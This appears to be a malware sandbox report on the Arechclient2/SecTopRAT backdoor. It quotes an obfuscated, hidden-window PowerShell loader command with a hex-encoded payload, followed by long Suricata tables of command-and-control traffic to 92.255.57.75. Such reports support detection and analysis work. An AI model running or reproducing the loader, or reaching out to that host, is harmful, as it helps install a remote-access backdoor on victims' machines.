Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function wrdZ($UvhG){return -split ($UvhG -replace '..', '0x$& ')};$ERHgk = wrdZ('ECA586FB867E54D080F88AB849BFB94F298E9D4D174F6B1F2F81610C3540C56191E34FB7B2DF87630478E180DACA97337CF338C5F0549579E18CC1A49A1339F9691FAE2EDAAC0D6E2AB4913030D45E7F9C40731A7B0ED45F438D15D573AB5E4816A3D8CA82DAA342D630EDB6E24E85F4D05E0447A728444A18214CD35DB1FD5C4C677BF1EB6DD62A0D4B42A5F996D056A8C58BF2B2ADC007CA0004F35EEDF7DB06CC47C0E8175257375360952646DDCE12F86A389A2FB4F08F04DF71ABBD10CA19394807E45AE262B4CF2BD880666BE9808038992E086339CA69F730462BD5BA268BEA9591B45C3FDDC4B990452C3C5B083B1D8A99DB9D344BE7F259679F7994FBAA4E272654402905FEB107236FDE83FA247F6DFF5EE2DE2FBE984DE8D33A5077EC31D65DAE7AAC344DB18BADD0E59C3DC0A20AA1776387E75ED82F6F21E81D436D435FE7641490C8BB3BE615F9D76B1F8A1323001EC29CB1DC720A20647927291ABFCCFF409B1F94A878B0CDB0AFF68E11DAF8B2CCB95D3B395C11FB1D2F79673936E5F6AF545B019BFDE71CDAC1667709524F9244C6D8B3198F1F28C92F507AF233B70FD15099184E521AA3D1F4EB4613BE4CC9617FD5EE373CB05A7B164A2B6211387C494F7FC2F64FB4B0EEC11B39FFCC4E09EE10E96070192D4E0E2AD737B857A3BA8766EF8B454E4CC9BAE60331184407821C7F5A417DEBB95885CD929FAC64B5913D45E20BA92710C789EA36BC01ED629BAAEEFB8F420E9D966E4669DB7E1EE213C1001073B4FB67BB454BA80B0144D096E4FA221E9AB74FB2FDA2CBBA9C669EB50610B810047A6A75A1E41407350666C1B141836EA4FB3C9588111CE216EB2E451248C7008EA09561E08463428A981B69214151A19DD58483CB4A07DA879953AA3FDBF8EC16A79ACD16FBF54B34E405FCE7D15727908982C71DB4EC3160579745FCBC610756535558573F49618C7606881E9C8F026001D9C1C40FD2462CC1EC3DCF620D160F23D6F789F8CAA4EE9835FD65AA1D0E0278809DE0D85C1295E58C782AAFF7016B75C2FBB65FE1F73E7B038C89BAA57C32930D22EE8C71A06F4A2C738995833A10226ECDFB07ECD5F6DA31617797E009FA791AB33D9189A3A8E44428EFC9D7C6FAC3474FD38038FE910BBB036CFF902B287315F807FAAA06AED95210DDE82DAEAC0A523D871AE53C0EF75EF61B9A57F8F33A81ABD5D297C8FA835397595E7202A8E9007FFC7EDE814D001B798D89293879C641BE0707A91665E5503FECF99138AC09675DB1C070F4CF90193587A5FFC1CEE76401544370EB81704BA787C0CD04C9585C45A98FE309B624E2A8DF58992BFB2E28E05D3E083F40D7259170B815F21C934D9A6B716FB374544D200AC2F51F83FF6015BF31FAF855ACD6F94C4EDCFFE1B1B1E84CD0DCE3476BE438811875890C244AF355F5A99D60D3FE596651A7FCE949EF11B75A3E47270440D77D7293E40B99F248B7EA50AE844851B9FCECC2A42A543848822154E0BDE72E753A37ABBC37D5A523E44824FDECB7EA3DA94AE0BC489AFB57E7FF8B9D330E6B6CF749C38703F35FBB8C7524C1CC772CB6E97F52B9A303F765EEA1CF88781CF03DBAF4E05C5E83D04900C62AE76C9060D2EF02C6358A9C35D3C5CADDA4513FE8720161EE8D258C9D8738089620A44FDD02266B9393340D2A4D6DF53670CE0EAC8ADF596CBD6821F99D9AA7D32C9C1C8CDD6A112CF9684123E95FA54979737993CA2ED54A8E4E7B526955F3B82D4D1180DCF858A68E630366BAE559198412C920E3DF514DC1275386D42B0CF7D7800F9A9C56DF30AC55BB715221A65AC5F1B6C047475AF5D327C3E5F8421DC5507C9898E1CA30BC70D6ED81C7FBE88DC6473A1B361F63E277C1B83D0BA47D9D3A44BB1ED147D9E3D1391B4E0C9728E31F4600C8F8CDC7EA1BB362F215217B57B713C7F2C9B60FFBB1ABFF32654C427DAA0BD39D0753919D0F4F7B47FF923BD6

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 4296, ProcessName: svchost.exe

Suricata Signatures

ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T08:38:45.421547+0100	2029217	1	Malware Command and Control Activity Detected	92.255.57.75	15647	192.168.2.5	49781	TCP
2024-12-17T08:39:53.804682+0100	2029217	1	Malware Command and Control Activity Detected	92.255.57.75	15647	192.168.2.5	49975	TCP
2024-12-17T08:40:01.754209+0100	2029217	1	Malware Command and Control Activity Detected	92.255.57.75	15647	192.168.2.5	49998	TCP
2024-12-17T08:41:44.170116+0100	2029217	1	Malware Command and Control Activity Detected	92.255.57.75	15647	192.168.2.5	50109	TCP

ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T08:38:44.305426+0100	2051910	1	A Network Trojan was detected	192.168.2.5	49781	92.255.57.75	15647	TCP
2024-12-17T08:38:44.425177+0100	2051910	1	A Network Trojan was detected	192.168.2.5	49781	92.255.57.75	15647	TCP
2024-12-17T08:38:44.544912+0100	2051910	1	A Network Trojan was detected	192.168.2.5	49781	92.255.57.75	15647	TCP
2024-12-17T08:38:44.664914+0100	2051910	1	A Network Trojan was detected	192.168.2.5	49781	92.255.57.75	15647	TCP
2024-12-17T08:38:44.784897+0100	2051910	1	A Network Trojan was detected	192.168.2.5	49781	92.255.57.75	15647	TCP
2024-12-17T08:38:44.904636+0100	2051910	1	A Network Trojan was detected	192.168.2.5	49781	92.255.57.75	15647	TCP
2024-12-17T08:38:45.024478+0100	2051910	1	A Network Trojan was detected	192.168.2.5	49781	92.255.57.75	15647	TCP
2024-12-17T08:38:45.144473+0100	2051910	1	A Network Trojan was detected	192.168.2.5	49781	92.255.57.75	15647	TCP
2024-12-17T08:38:45.264579+0100	2051910	1	A Network Trojan was detected	192.168.2.5	49781	92.255.57.75	15647	TCP
2024-12-17T08:38:45.384321+0100	2051910	1	A Network Trojan was detected	192.168.2.5	49781	92.255.57.75	15647	TCP
2024-12-17T08:38:45.505694+0100	2051910	1	A Network Trojan was detected	192.168.2.5	49781	92.255.57.75	15647	TCP
2024-12-17T08:38:45.825046+0100	2051910	1	A Network Trojan was detected	192.168.2.5	49781	92.255.57.75	15647	TCP
2024-12-17T08:39:52.601628+0100	2051910	1	A Network Trojan was detected	192.168.2.5	49975	92.255.57.75	15647	TCP
2024-12-17T08:39:53.497227+0100	2051910	1	A Network Trojan was detected	192.168.2.5	49975	92.255.57.75	15647	TCP
2024-12-17T08:40:00.552404+0100	2051910	1	A Network Trojan was detected	192.168.2.5	49998	92.255.57.75	15647	TCP
2024-12-17T08:41:42.959469+0100	2051910	1	A Network Trojan was detected	192.168.2.5	50109	92.255.57.75	15647	TCP
2024-12-17T08:41:44.098029+0100	2051910	1	A Network Trojan was detected	192.168.2.5	50109	92.255.57.75	15647	TCP

ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T08:38:49.512253+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49789	92.255.57.75	9000	TCP
2024-12-17T08:38:51.067122+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49794	92.255.57.75	9000	TCP
2024-12-17T08:38:52.632250+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49799	92.255.57.75	9000	TCP
2024-12-17T08:38:54.191629+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49802	92.255.57.75	9000	TCP
2024-12-17T08:38:55.758822+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49808	92.255.57.75	9000	TCP
2024-12-17T08:38:57.319196+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49813	92.255.57.75	9000	TCP
2024-12-17T08:38:58.881099+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49817	92.255.57.75	9000	TCP
2024-12-17T08:39:00.464951+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49821	92.255.57.75	9000	TCP
2024-12-17T08:39:02.019628+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49825	92.255.57.75	9000	TCP
2024-12-17T08:39:03.577912+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49830	92.255.57.75	9000	TCP
2024-12-17T08:39:05.128780+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49834	92.255.57.75	9000	TCP
2024-12-17T08:39:06.693785+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49840	92.255.57.75	9000	TCP
2024-12-17T08:39:08.636750+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49843	92.255.57.75	9000	TCP
2024-12-17T08:39:10.189374+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49849	92.255.57.75	9000	TCP
2024-12-17T08:39:11.740538+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49853	92.255.57.75	9000	TCP
2024-12-17T08:39:13.300504+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49857	92.255.57.75	9000	TCP
2024-12-17T08:39:14.862049+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49862	92.255.57.75	9000	TCP
2024-12-17T08:39:16.422539+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49868	92.255.57.75	9000	TCP
2024-12-17T08:39:17.985917+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49869	92.255.57.75	9000	TCP
2024-12-17T08:39:19.535614+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49875	92.255.57.75	9000	TCP
2024-12-17T08:39:21.096928+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49881	92.255.57.75	9000	TCP
2024-12-17T08:39:22.657148+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49884	92.255.57.75	9000	TCP
2024-12-17T08:39:24.205827+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49888	92.255.57.75	9000	TCP
2024-12-17T08:39:25.764837+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49894	92.255.57.75	9000	TCP
2024-12-17T08:39:27.382252+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49900	92.255.57.75	9000	TCP
2024-12-17T08:39:29.039846+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49901	92.255.57.75	9000	TCP
2024-12-17T08:39:30.598439+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49907	92.255.57.75	9000	TCP
2024-12-17T08:39:32.216083+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49913	92.255.57.75	9000	TCP
2024-12-17T08:39:33.767487+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49916	92.255.57.75	9000	TCP
2024-12-17T08:39:35.319149+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49920	92.255.57.75	9000	TCP
2024-12-17T08:39:36.880215+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49926	92.255.57.75	9000	TCP
2024-12-17T08:39:38.449955+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49932	92.255.57.75	9000	TCP
2024-12-17T08:39:40.002886+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49933	92.255.57.75	9000	TCP
2024-12-17T08:39:41.567700+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49939	92.255.57.75	9000	TCP
2024-12-17T08:39:43.127027+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49945	92.255.57.75	9000	TCP
2024-12-17T08:39:44.700932+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49948	92.255.57.75	9000	TCP
2024-12-17T08:39:46.249325+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49952	92.255.57.75	9000	TCP
2024-12-17T08:39:47.815525+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49958	92.255.57.75	9000	TCP
2024-12-17T08:39:49.376970+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49963	92.255.57.75	9000	TCP
2024-12-17T08:39:51.010419+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49965	92.255.57.75	9000	TCP
2024-12-17T08:39:52.568625+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49969	92.255.57.75	9000	TCP
2024-12-17T08:39:54.130170+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49976	92.255.57.75	9000	TCP
2024-12-17T08:39:55.691778+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49980	92.255.57.75	9000	TCP
2024-12-17T08:39:57.253205+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49984	92.255.57.75	9000	TCP
2024-12-17T08:39:58.815345+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49989	92.255.57.75	9000	TCP
2024-12-17T08:40:00.376830+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49994	92.255.57.75	9000	TCP
2024-12-17T08:40:02.032401+0100	2052248	1	A Network Trojan was detected	192.168.2.5	49999	92.255.57.75	9000	TCP
2024-12-17T08:40:03.581466+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50003	92.255.57.75	9000	TCP
2024-12-17T08:40:05.143256+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50009	92.255.57.75	9000	TCP
2024-12-17T08:40:06.710403+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50012	92.255.57.75	9000	TCP
2024-12-17T08:40:08.272183+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50018	92.255.57.75	9000	TCP
2024-12-17T08:40:09.940579+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50023	92.255.57.75	9000	TCP
2024-12-17T08:40:11.507934+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50028	92.255.57.75	9000	TCP
2024-12-17T08:40:13.065884+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50032	92.255.57.75	9000	TCP
2024-12-17T08:40:14.640387+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50037	92.255.57.75	9000	TCP
2024-12-17T08:40:16.198426+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50042	92.255.57.75	9000	TCP
2024-12-17T08:40:17.753325+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50045	92.255.57.75	9000	TCP
2024-12-17T08:40:19.320271+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50051	92.255.57.75	9000	TCP
2024-12-17T08:40:20.878082+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50056	92.255.57.75	9000	TCP
2024-12-17T08:40:22.441671+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50057	92.255.57.75	9000	TCP
2024-12-17T08:40:24.008171+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50058	92.255.57.75	9000	TCP
2024-12-17T08:40:25.566238+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50059	92.255.57.75	9000	TCP
2024-12-17T08:40:27.131140+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50060	92.255.57.75	9000	TCP
2024-12-17T08:40:28.694148+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50061	92.255.57.75	9000	TCP
2024-12-17T08:40:30.258168+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50062	92.255.57.75	9000	TCP
2024-12-17T08:40:32.009289+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50063	92.255.57.75	9000	TCP
2024-12-17T08:40:33.625877+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50064	92.255.57.75	9000	TCP
2024-12-17T08:40:35.173584+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50065	92.255.57.75	9000	TCP
2024-12-17T08:40:36.993112+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50066	92.255.57.75	9000	TCP
2024-12-17T08:40:38.549695+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50067	92.255.57.75	9000	TCP
2024-12-17T08:40:40.188892+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50068	92.255.57.75	9000	TCP
2024-12-17T08:40:41.741496+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50069	92.255.57.75	9000	TCP
2024-12-17T08:40:43.307658+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50070	92.255.57.75	9000	TCP
2024-12-17T08:40:44.862394+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50071	92.255.57.75	9000	TCP
2024-12-17T08:40:46.437222+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50072	92.255.57.75	9000	TCP
2024-12-17T08:40:47.994131+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50073	92.255.57.75	9000	TCP
2024-12-17T08:40:49.672022+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50074	92.255.57.75	9000	TCP
2024-12-17T08:40:51.235724+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50075	92.255.57.75	9000	TCP
2024-12-17T08:40:52.787570+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50076	92.255.57.75	9000	TCP
2024-12-17T08:40:54.420212+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50077	92.255.57.75	9000	TCP
2024-12-17T08:40:55.973736+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50078	92.255.57.75	9000	TCP
2024-12-17T08:40:57.569885+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50079	92.255.57.75	9000	TCP
2024-12-17T08:40:59.276395+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50080	92.255.57.75	9000	TCP
2024-12-17T08:41:00.835233+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50081	92.255.57.75	9000	TCP
2024-12-17T08:41:02.398209+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50082	92.255.57.75	9000	TCP
2024-12-17T08:41:03.960547+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50083	92.255.57.75	9000	TCP
2024-12-17T08:41:05.522627+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50084	92.255.57.75	9000	TCP
2024-12-17T08:41:07.084636+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50085	92.255.57.75	9000	TCP
2024-12-17T08:41:08.642517+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50086	92.255.57.75	9000	TCP
2024-12-17T08:41:10.199171+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50087	92.255.57.75	9000	TCP
2024-12-17T08:41:11.813995+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50088	92.255.57.75	9000	TCP
2024-12-17T08:41:13.378928+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50089	92.255.57.75	9000	TCP
2024-12-17T08:41:14.943102+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50090	92.255.57.75	9000	TCP
2024-12-17T08:41:16.504251+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50091	92.255.57.75	9000	TCP
2024-12-17T08:41:18.067500+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50092	92.255.57.75	9000	TCP
2024-12-17T08:41:19.632701+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50093	92.255.57.75	9000	TCP
2024-12-17T08:41:21.202349+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50094	92.255.57.75	9000	TCP
2024-12-17T08:41:22.778402+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50095	92.255.57.75	9000	TCP
2024-12-17T08:41:24.334455+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50096	92.255.57.75	9000	TCP
2024-12-17T08:41:25.892034+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50097	92.255.57.75	9000	TCP
2024-12-17T08:41:27.457506+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50098	92.255.57.75	9000	TCP
2024-12-17T08:41:29.064528+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50099	92.255.57.75	9000	TCP
2024-12-17T08:41:30.608731+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50100	92.255.57.75	9000	TCP
2024-12-17T08:41:32.158177+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50101	92.255.57.75	9000	TCP
2024-12-17T08:41:33.820963+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50102	92.255.57.75	9000	TCP
2024-12-17T08:41:35.378220+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50103	92.255.57.75	9000	TCP
2024-12-17T08:41:36.999625+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50104	92.255.57.75	9000	TCP
2024-12-17T08:41:38.552765+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50105	92.255.57.75	9000	TCP
2024-12-17T08:41:40.112856+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50106	92.255.57.75	9000	TCP
2024-12-17T08:41:41.677206+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50107	92.255.57.75	9000	TCP
2024-12-17T08:41:43.239733+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50108	92.255.57.75	9000	TCP
2024-12-17T08:41:44.803228+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50110	92.255.57.75	9000	TCP
2024-12-17T08:41:46.362875+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50111	92.255.57.75	9000	TCP
2024-12-17T08:41:47.925894+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50112	92.255.57.75	9000	TCP
2024-12-17T08:41:49.500383+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50113	92.255.57.75	9000	TCP
2024-12-17T08:41:51.055634+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50114	92.255.57.75	9000	TCP
2024-12-17T08:41:52.630037+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50115	92.255.57.75	9000	TCP
2024-12-17T08:41:54.205510+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50116	92.255.57.75	9000	TCP
2024-12-17T08:41:55.772578+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50117	92.255.57.75	9000	TCP
2024-12-17T08:41:57.334008+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50118	92.255.57.75	9000	TCP
2024-12-17T08:41:58.896078+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50119	92.255.57.75	9000	TCP
2024-12-17T08:42:00.458128+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50120	92.255.57.75	9000	TCP
2024-12-17T08:42:02.024389+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50121	92.255.57.75	9000	TCP
2024-12-17T08:42:03.583252+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50122	92.255.57.75	9000	TCP
2024-12-17T08:42:05.187164+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50123	92.255.57.75	9000	TCP
2024-12-17T08:42:06.742557+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50124	92.255.57.75	9000	TCP
2024-12-17T08:42:08.311968+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50125	92.255.57.75	9000	TCP
2024-12-17T08:42:09.966936+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50126	92.255.57.75	9000	TCP
2024-12-17T08:42:11.525474+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50127	92.255.57.75	9000	TCP
2024-12-17T08:42:13.100263+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50128	92.255.57.75	9000	TCP
2024-12-17T08:42:14.667243+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50129	92.255.57.75	9000	TCP
2024-12-17T08:42:16.226686+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50130	92.255.57.75	9000	TCP
2024-12-17T08:42:17.785476+0100	2052248	1	A Network Trojan was detected	192.168.2.5	50131	92.255.57.75	9000	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T08:38:52.632250+0100	2803305	3	Unknown Traffic	192.168.2.5	49799	92.255.57.75	9000	TCP
2024-12-17T08:38:54.191629+0100	2803305	3	Unknown Traffic	192.168.2.5	49802	92.255.57.75	9000	TCP
2024-12-17T08:38:55.758822+0100	2803305	3	Unknown Traffic	192.168.2.5	49808	92.255.57.75	9000	TCP
2024-12-17T08:38:57.319196+0100	2803305	3	Unknown Traffic	192.168.2.5	49813	92.255.57.75	9000	TCP
2024-12-17T08:38:58.881099+0100	2803305	3	Unknown Traffic	192.168.2.5	49817	92.255.57.75	9000	TCP
2024-12-17T08:39:00.464951+0100	2803305	3	Unknown Traffic	192.168.2.5	49821	92.255.57.75	9000	TCP
2024-12-17T08:39:02.019628+0100	2803305	3	Unknown Traffic	192.168.2.5	49825	92.255.57.75	9000	TCP
2024-12-17T08:39:03.577912+0100	2803305	3	Unknown Traffic	192.168.2.5	49830	92.255.57.75	9000	TCP
2024-12-17T08:39:05.128780+0100	2803305	3	Unknown Traffic	192.168.2.5	49834	92.255.57.75	9000	TCP
2024-12-17T08:39:06.693785+0100	2803305	3	Unknown Traffic	192.168.2.5	49840	92.255.57.75	9000	TCP
2024-12-17T08:39:08.636750+0100	2803305	3	Unknown Traffic	192.168.2.5	49843	92.255.57.75	9000	TCP
2024-12-17T08:39:10.189374+0100	2803305	3	Unknown Traffic	192.168.2.5	49849	92.255.57.75	9000	TCP
2024-12-17T08:39:13.300504+0100	2803305	3	Unknown Traffic	192.168.2.5	49857	92.255.57.75	9000	TCP
2024-12-17T08:39:14.862049+0100	2803305	3	Unknown Traffic	192.168.2.5	49862	92.255.57.75	9000	TCP
2024-12-17T08:39:16.422539+0100	2803305	3	Unknown Traffic	192.168.2.5	49868	92.255.57.75	9000	TCP
2024-12-17T08:39:17.985917+0100	2803305	3	Unknown Traffic	192.168.2.5	49869	92.255.57.75	9000	TCP
2024-12-17T08:39:19.535614+0100	2803305	3	Unknown Traffic	192.168.2.5	49875	92.255.57.75	9000	TCP
2024-12-17T08:39:21.096928+0100	2803305	3	Unknown Traffic	192.168.2.5	49881	92.255.57.75	9000	TCP
2024-12-17T08:39:22.657148+0100	2803305	3	Unknown Traffic	192.168.2.5	49884	92.255.57.75	9000	TCP
2024-12-17T08:39:24.205827+0100	2803305	3	Unknown Traffic	192.168.2.5	49888	92.255.57.75	9000	TCP
2024-12-17T08:39:25.764837+0100	2803305	3	Unknown Traffic	192.168.2.5	49894	92.255.57.75	9000	TCP
2024-12-17T08:39:27.382252+0100	2803305	3	Unknown Traffic	192.168.2.5	49900	92.255.57.75	9000	TCP
2024-12-17T08:39:29.039846+0100	2803305	3	Unknown Traffic	192.168.2.5	49901	92.255.57.75	9000	TCP
2024-12-17T08:39:33.767487+0100	2803305	3	Unknown Traffic	192.168.2.5	49916	92.255.57.75	9000	TCP
2024-12-17T08:39:35.319149+0100	2803305	3	Unknown Traffic	192.168.2.5	49920	92.255.57.75	9000	TCP
2024-12-17T08:39:38.449955+0100	2803305	3	Unknown Traffic	192.168.2.5	49932	92.255.57.75	9000	TCP
2024-12-17T08:39:47.815525+0100	2803305	3	Unknown Traffic	192.168.2.5	49958	92.255.57.75	9000	TCP
2024-12-17T08:39:49.376970+0100	2803305	3	Unknown Traffic	192.168.2.5	49963	92.255.57.75	9000	TCP
2024-12-17T08:39:51.010419+0100	2803305	3	Unknown Traffic	192.168.2.5	49965	92.255.57.75	9000	TCP
2024-12-17T08:39:52.568625+0100	2803305	3	Unknown Traffic	192.168.2.5	49969	92.255.57.75	9000	TCP
2024-12-17T08:39:54.130170+0100	2803305	3	Unknown Traffic	192.168.2.5	49976	92.255.57.75	9000	TCP
2024-12-17T08:39:55.691778+0100	2803305	3	Unknown Traffic	192.168.2.5	49980	92.255.57.75	9000	TCP
2024-12-17T08:39:57.253205+0100	2803305	3	Unknown Traffic	192.168.2.5	49984	92.255.57.75	9000	TCP
2024-12-17T08:40:00.376830+0100	2803305	3	Unknown Traffic	192.168.2.5	49994	92.255.57.75	9000	TCP
2024-12-17T08:40:03.581466+0100	2803305	3	Unknown Traffic	192.168.2.5	50003	92.255.57.75	9000	TCP
2024-12-17T08:40:05.143256+0100	2803305	3	Unknown Traffic	192.168.2.5	50009	92.255.57.75	9000	TCP
2024-12-17T08:40:08.272183+0100	2803305	3	Unknown Traffic	192.168.2.5	50018	92.255.57.75	9000	TCP
2024-12-17T08:40:09.940579+0100	2803305	3	Unknown Traffic	192.168.2.5	50023	92.255.57.75	9000	TCP
2024-12-17T08:40:11.507934+0100	2803305	3	Unknown Traffic	192.168.2.5	50028	92.255.57.75	9000	TCP
2024-12-17T08:40:13.065884+0100	2803305	3	Unknown Traffic	192.168.2.5	50032	92.255.57.75	9000	TCP
2024-12-17T08:40:14.640387+0100	2803305	3	Unknown Traffic	192.168.2.5	50037	92.255.57.75	9000	TCP
2024-12-17T08:40:16.198426+0100	2803305	3	Unknown Traffic	192.168.2.5	50042	92.255.57.75	9000	TCP
2024-12-17T08:40:17.753325+0100	2803305	3	Unknown Traffic	192.168.2.5	50045	92.255.57.75	9000	TCP
2024-12-17T08:40:19.320271+0100	2803305	3	Unknown Traffic	192.168.2.5	50051	92.255.57.75	9000	TCP
2024-12-17T08:40:20.878082+0100	2803305	3	Unknown Traffic	192.168.2.5	50056	92.255.57.75	9000	TCP
